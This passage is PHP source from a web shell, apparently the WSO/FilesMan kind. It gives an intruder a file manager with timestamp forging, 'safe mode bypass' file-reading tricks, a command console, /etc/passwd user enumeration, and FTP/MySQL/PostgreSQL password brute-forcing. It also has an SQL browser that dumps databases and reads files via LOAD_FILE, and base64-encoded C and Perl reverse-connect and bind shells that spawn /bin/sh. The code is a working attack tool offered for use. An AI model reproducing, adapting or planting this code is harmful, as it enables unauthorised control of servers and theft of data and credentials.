2236 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
2237 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
2238 if( empty($_POST['p2']) )
2239 $_POST['p2'] = 'view';
2240 if( is_file($_POST['p1']) )
2241 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
2242 else
2243 $m = array('Chmod', 'Rename', 'Touch');
2244 foreach($m as $v)
2245 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
2246 echo '<br><br>';
2247 switch($_POST['p2']) {
2248 case 'view':
2249 echo '<pre class=ml1>';
2250 $fp = @fopen($_POST['p1'], 'r');
2251 if($fp) {
2252 while( !@feof($fp) )
2253 echo htmlspecialchars(@fread($fp, 1024));
2254 @fclose($fp);
2255 }
2256 echo '</pre>';
2257 break;
2258 case 'highlight':
2259 if( is_readable($_POST['p1']) ) {
2260 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
2261 $code = highlight_file($_POST['p1'],true);
2262 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
2263 }
2264 break;
2265 case 'chmod':
2266 if( !empty($_POST['p3']) ) {
2267 $perms = 0;
2268 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
2269 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
2270 if(!@chmod($_POST['p1'], $perms))
2271 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
2272 else
2273 die('<script>g(null,null,null,null,"")</script>');
2274 }
2275 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
2276 break;
2277 case 'edit':
2278 if( !is_writable($_POST['p1'])) {
2279 echo 'File isn\'t writeable';
2280 break;
2281 }
2282 if( !empty($_POST['p3']) ) {
2283 @file_put_contents($_POST['p1'],$_POST['p3']);
2284 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
2285 }
2286 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
2287 $fp = @fopen($_POST['p1'], 'r');
2288 if($fp) {
2289 while( !@feof($fp) )
2290 echo htmlspecialchars(@fread($fp, 1024));
2291 @fclose($fp);
2292 }
2293 echo '</textarea><input type=submit value=">>"></form>';
2294 break;
2295 case 'hexdump':
2296 $c = @file_get_contents($_POST['p1']);
2297 $n = 0;
2298 $h = array('00000000<br>','','');
2299 $len = strlen($c);
2300 for ($i=0; $i<$len; ++$i) {
2301 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
2302 switch ( ord($c[$i]) ) {
2303 case 0: $h[2] .= ' '; break;
2304 case 9: $h[2] .= ' '; break;
2305 case 10: $h[2] .= ' '; break;
2306 case 13: $h[2] .= ' '; break;
2307 default: $h[2] .= $c[$i]; break;
2308 }
2309 $n++;
2310 if ($n == 32) {
2311 $n = 0;
2312 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
2313 $h[1] .= '<br>';
2314 $h[2] .= "\n";
2315 }
2316 }
2317 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
2318 break;
2319 case 'rename':
2320 if( !empty($_POST['p3']) ) {
2321 if(!@rename($_POST['p1'], $_POST['p3']))
2322 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
2323 else
2324 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
2325 }
2326 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
2327 break;
2328 case 'touch':
2329 if( !empty($_POST['p3']) ) {
2330 $time = strtotime($_POST['p3']);
2331 if($time) {
2332 if(@touch($_POST['p1'],$time,$time))
2333 die('<script>g(null,null,null,null,"")</script>');
2334 else {
2335 echo 'Fail!<script>document.mf.p3.value="";</script>';
2336 }
2337 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
2338 }
2339 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
2340 break;
2341 case 'mkfile':
2342
2343 break;
2344 }
2345 echo '</div>';
2346 printFooter();
2347}
2348
2349function actionSafeMode() {
2350 $temp='';
2351 ob_start();
2352 switch($_POST['p1']) {
2353 case 1:
2354 $temp=@tempnam($test, 'cx');
2355 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
2356 echo @file_get_contents($temp);
2357 unlink($temp);
2358 } else
2359 echo 'Sorry... Can\'t open file';
2360 break;
2361 case 2:
2362 $files = glob($_POST['p2'].'*');
2363 if( is_array($files) )
2364 foreach ($files as $filename)
2365 echo $filename."\n";
2366 break;
2367 case 3:
2368 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
2369 curl_exec($ch);
2370 break;
2371 case 4:
2372 ini_restore("safe_mode");
2373 ini_restore("open_basedir");
2374 include($_POST['p2']);
2375 break;
2376 case 5:
2377 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
2378 $uid = @posix_getpwuid($_POST['p2']);
2379 if ($uid)
2380 echo join(':',$uid)."\n";
2381 }
2382 break;
2383 case 6:
2384 if(!function_exists('imap_open'))break;
2385 $stream = imap_open($_POST['p2'], "", "");
2386 if ($stream == FALSE)
2387 break;
2388 echo imap_body($stream, 1);
2389 imap_close($stream);
2390 break;
2391 }
2392 $temp = ob_get_clean();
2393 printHeader();
2394 echo '<h1>Safe mode bypass</h1><div class=content>';
2395 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
2396 if($temp)
2397 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
2398 echo '</div>';
2399 printFooter();
2400}
2401
2402function actionConsole() {
2403 if(isset($_POST['ajax'])) {
2404 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
2405 ob_start();
2406 echo "document.cf.cmd.value='';\n";
2407 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
2408 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
2409 if(@chdir($match[1])) {
2410 $GLOBALS['cwd'] = @getcwd();
2411 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
2412 }
2413 }
2414 echo "document.cf.output.value+='".$temp."';";
2415 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
2416 $temp = ob_get_clean();
2417 echo strlen($temp), "\n", $temp;
2418 exit;
2419 }
2420 printHeader();
2421?>
2422<script>
2423if(window.Event) window.captureEvents(Event.KEYDOWN);
2424var cmds = new Array("");
2425var cur = 0;
2426function kp(e) {
2427 var n = (window.Event) ? e.which : e.keyCode;
2428 if(n == 38) {
2429 cur--;
2430 if(cur>=0)
2431 document.cf.cmd.value = cmds[cur];
2432 else
2433 cur++;
2434 } else if(n == 40) {
2435 cur++;
2436 if(cur < cmds.length)
2437 document.cf.cmd.value = cmds[cur];
2438 else
2439 cur--;
2440 }
2441}
2442function add(cmd) {
2443 cmds.pop();
2444 cmds.push(cmd);
2445 cmds.push("");
2446 cur = cmds.length-1;
2447}
2448</script>
2449<?php
2450 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
2451 foreach($GLOBALS['aliases'] as $n => $v) {
2452 if($v == '') {
2453 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
2454 continue;
2455 }
2456 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
2457 }
2458 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
2459 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
2460 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
2461 if(!empty($_POST['p1'])) {
2462 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
2463 }
2464 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
2465 echo '</form></div><script>document.cf.cmd.focus();</script>';
2466 printFooter();
2467}
2468
2469function actionLogout() {
2470 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
2471 echo '<body bgcolor=#000000>
2472
2473
2474<center><img src=http://i1237.photobucket.com/albums/ff474/cybertaziex/SC-5.jpg></center>
2475
2476</body>';
2477}
2478
2479function actionSelfRemove() {
2480 printHeader();
2481 if($_POST['p1'] == 'yes') {
2482 if(@unlink(SELF_PATH))
2483 die('Shell has been Fucked');
2484 else
2485 echo 'unlink error!';
2486 }
2487 echo '<h1>Suicide</h1><div class=content>Really want to Fuck the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
2488 printFooter();
2489}
2490
2491function actionBruteforce() {
2492 printHeader();
2493 if( isset($_POST['proto']) ) {
2494 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
2495 if( $_POST['proto'] == 'ftp' ) {
2496 function bruteForce($ip,$port,$login,$pass) {
2497 $fp = @ftp_connect($ip, $port?$port:21);
2498 if(!$fp) return false;
2499 $res = @ftp_login($fp, $login, $pass);
2500 @ftp_close($fp);
2501 return $res;
2502 }
2503 } elseif( $_POST['proto'] == 'mysql' ) {
2504 function bruteForce($ip,$port,$login,$pass) {
2505 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
2506 @mysql_close($res);
2507 return $res;
2508 }
2509 } elseif( $_POST['proto'] == 'pgsql' ) {
2510 function bruteForce($ip,$port,$login,$pass) {
2511 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
2512 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
2513 @pg_close($res);
2514 return $res;
2515 }
2516 }
2517 $success = 0;
2518 $attempts = 0;
2519 $server = explode(":", $_POST['server']);
2520 if($_POST['type'] == 1) {
2521 $temp = @file('/etc/passwd');
2522 if( is_array($temp) )
2523 foreach($temp as $line) {
2524 $line = explode(":", $line);
2525 ++$attempts;
2526 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
2527 $success++;
2528 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
2529 }
2530 if(@$_POST['reverse']) {
2531 $tmp = "";
2532 for($i=strlen($line[0])-1; $i>=0; --$i)
2533 $tmp .= $line[0][$i];
2534 ++$attempts;
2535 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
2536 $success++;
2537 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
2538 }
2539 }
2540 }
2541 } elseif($_POST['type'] == 2) {
2542 $temp = @file($_POST['dict']);
2543 if( is_array($temp) )
2544 foreach($temp as $line) {
2545 $line = trim($line);
2546 ++$attempts;
2547 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
2548 $success++;
2549 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
2550 }
2551 }
2552 }
2553 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
2554 }
2555 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
2556 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
2557 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
2558 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
2559 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
2560 .'<span>Server:port</span></td>'
2561 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
2562 .'<tr><td><span>Brute type</span></td>'
2563 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
2564 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
2565 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
2566 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
2567 .'<td><input type=text name=login value="komsen"></td></tr>'
2568 .'<tr><td><span>Dictionary</span></td>'
2569 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
2570 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
2571 echo '</div><br>';
2572 printFooter();
2573}
2574
2575function actionSql() {
2576 class DbClass {
2577 var $type;
2578 var $link;
2579 var $res;
2580 function DbClass($type) {
2581 $this->type = $type;
2582 }
2583 function connect($host, $user, $pass, $dbname){
2584 switch($this->type) {
2585 case 'mysql':
2586 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
2587 break;
2588 case 'pgsql':
2589 $host = explode(':', $host);
2590 if(!$host[1]) $host[1]=5432;
2591 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
2592 break;
2593 }
2594 return false;
2595 }
2596 function selectdb($db) {
2597 switch($this->type) {
2598 case 'mysql':
2599 if (@mysql_select_db($db))return true;
2600 break;
2601 }
2602 return false;
2603 }
2604 function query($str) {
2605 switch($this->type) {
2606 case 'mysql':
2607 return $this->res = @mysql_query($str);
2608 break;
2609 case 'pgsql':
2610 return $this->res = @pg_query($this->link,$str);
2611 break;
2612 }
2613 return false;
2614 }
2615 function fetch() {
2616 $res = func_num_args()?func_get_arg(0):$this->res;
2617 switch($this->type) {
2618 case 'mysql':
2619 return @mysql_fetch_assoc($res);
2620 break;
2621 case 'pgsql':
2622 return @pg_fetch_assoc($res);
2623 break;
2624 }
2625 return false;
2626 }
2627 function listDbs() {
2628 switch($this->type) {
2629 case 'mysql':
2630 return $this->res = @mysql_list_dbs($this->link);
2631 break;
2632 case 'pgsql':
2633 return $this->res = $this->query("SELECT datname FROM pg_database");
2634 break;
2635 }
2636 return false;
2637 }
2638 function listTables() {
2639 switch($this->type) {
2640 case 'mysql':
2641 return $this->res = $this->query('SHOW TABLES');
2642 break;
2643 case 'pgsql':
2644 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
2645 break;
2646 }
2647 return false;
2648 }
2649 function error() {
2650 switch($this->type) {
2651 case 'mysql':
2652 return @mysql_error($this->link);
2653 break;
2654 case 'pgsql':
2655 return @pg_last_error($this->link);
2656 break;
2657 }
2658 return false;
2659 }
2660 function setCharset($str) {
2661 switch($this->type) {
2662 case 'mysql':
2663 if(function_exists('mysql_set_charset'))
2664 return @mysql_set_charset($str, $this->link);
2665 else
2666 $this->query('SET CHARSET '.$str);
2667 break;
2668 case 'mysql':
2669 return @pg_set_client_encoding($this->link, $str);
2670 break;
2671 }
2672 return false;
2673 }
2674 function dump($table) {
2675 switch($this->type) {
2676 case 'mysql':
2677 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
2678 $create = mysql_fetch_array($res);
2679 echo $create[1].";\n\n";
2680 $this->query('SELECT * FROM `'.$table.'`');
2681 while($item = $this->fetch()) {
2682 $columns = array();
2683 foreach($item as $k=>$v) {
2684 $item[$k] = "'".@mysql_real_escape_string($v)."'";
2685 $columns[] = "`".$k."`";
2686 }
2687 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2688 }
2689 break;
2690 case 'pgsql':
2691 $this->query('SELECT * FROM '.$table);
2692 while($item = $this->fetch()) {
2693 $columns = array();
2694 foreach($item as $k=>$v) {
2695 $item[$k] = "'".addslashes($v)."'";
2696 $columns[] = $k;
2697 }
2698 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2699 }
2700 break;
2701 }
2702 return false;
2703 }
2704 };
2705 $db = new DbClass($_POST['type']);
2706 if(@$_POST['p2']=='download') {
2707 ob_start("ob_gzhandler", 4096);
2708 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
2709 $db->selectdb($_POST['sql_base']);
2710 header("Content-Disposition: attachment; filename=dump.sql");
2711 header("Content-Type: text/plain");
2712 foreach($_POST['tbl'] as $v)
2713 $db->dump($v);
2714 exit;
2715 }
2716 printHeader();
2717 ?>
2718 <h1>Sql browser</h1><div class=content>
2719 <form name="sf" method="post">
2720 <table cellpadding="2" cellspacing="0">
2721 <tr>
2722 <td>Type</td>
2723 <td>Host</td>
2724 <td>Login</td>
2725 <td>Password</td>
2726 <td>Database</td>
2727 <td></td>
2728 </tr>
2729 <tr>
2730 <input type=hidden name=a value=Sql>
2731 <input type=hidden name=p1 value='query'>
2732 <input type=hidden name=p2>
2733 <input type=hidden name=c value='<?php echo htmlspecialchars($GLOBALS['cwd']);?>'>
2734 <input type=hidden name=charset value='<?php echo isset($_POST['charset'])?$_POST['charset']:''?>'>
2735 <td>
2736 <select name='type'>
2737 <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
2738 <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
2739 </select></td>
2740 <td><input type=text name=sql_host value='<?php echo (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
2741 <td><input type=text name=sql_login value='<?php echo (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
2742 <td><input type=text name=sql_pass value='<?php echo (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
2743 <td>
2744 <?php
2745 $tmp = "<input type=text name=sql_base value=''>";
2746 if(isset($_POST['sql_host'])){
2747 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
2748 switch($_POST['charset']) {
2749 case "Windows-1251": $db->setCharset('cp1251'); break;
2750 case "UTF-8": $db->setCharset('utf8'); break;
2751 case "KOI8-R": $db->setCharset('koi8r'); break;
2752 case "KOI8-U": $db->setCharset('koi8u'); break;
2753 case "cp866": $db->setCharset('cp866'); break;
2754 }
2755 $db->listDbs();
2756 echo "<select name=sql_base><option value=''></option>";
2757 while($item = $db->fetch()) {
2758 list($key, $value) = each($item);
2759 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
2760 }
2761 echo '</select>';
2762 }
2763 else echo $tmp;
2764 }else
2765 echo $tmp;
2766 ?></td>
2767 <td><input type=submit value=">>"></td>
2768 </tr>
2769 </table>
2770 <script>
2771 function st(t,l) {
2772 document.sf.p1.value = 'select';
2773 document.sf.p2.value = t;
2774 if(l!=null)document.sf.p3.value = l;
2775 document.sf.submit();
2776 }
2777 function is() {
2778 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
2779 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
2780 }
2781 </script>
2782 <?php
2783 if(isset($db) && $db->link){
2784 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
2785 if(!empty($_POST['sql_base'])){
2786 $db->selectdb($_POST['sql_base']);
2787 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
2788 $tbls_res = $db->listTables();
2789 while($item = $db->fetch($tbls_res)) {
2790 list($key, $value) = each($item);
2791 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
2792 $value = htmlspecialchars($value);
2793 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
2794 }
2795 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
2796 if(@$_POST['p1'] == 'select') {
2797 $_POST['p1'] = 'query';
2798 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
2799 $num = $db->fetch();
2800 $num = $num['n'];
2801 echo "<span>".$_POST['p2']."</span> ($num) ";
2802 for($i=0;$i<($num/30);$i++)
2803 if($i != (int)$_POST['p3'])
2804 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
2805 else
2806 echo ($i+1)," ";
2807 if($_POST['type']=='pgsql')
2808 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
2809 else
2810 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
2811 echo "<br><br>";
2812 }
2813 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
2814 $db->query(@$_POST['p3']);
2815 if($db->res !== false) {
2816 $title = false;
2817 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
2818 $line = 1;
2819 while($item = $db->fetch()) {
2820 if(!$title) {
2821 echo '<tr>';
2822 foreach($item as $key => $value)
2823 echo '<th>'.$key.'</th>';
2824 reset($item);
2825 $title=true;
2826 echo '</tr><tr>';
2827 $line = 2;
2828 }
2829 echo '<tr class="l'.$line.'">';
2830 $line = $line==1?2:1;
2831 foreach($item as $key => $value) {
2832 if($value == null)
2833 echo '<td><i>null</i></td>';
2834 else
2835 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
2836 }
2837 echo '</tr>';
2838 }
2839 echo '</table>';
2840 } else {
2841 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
2842 }
2843 }
2844 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
2845 echo "</td></tr>";
2846 }
2847 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
2848 if(@$_POST['p1'] == 'loadfile') {
2849 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
2850 $file = $db->fetch();
2851 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
2852 }
2853 }
2854 echo '</div>';
2855 printFooter();
2856}
2857
2858function actionNetwork() {
2859 printHeader();
2860 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
2861 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
2862 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
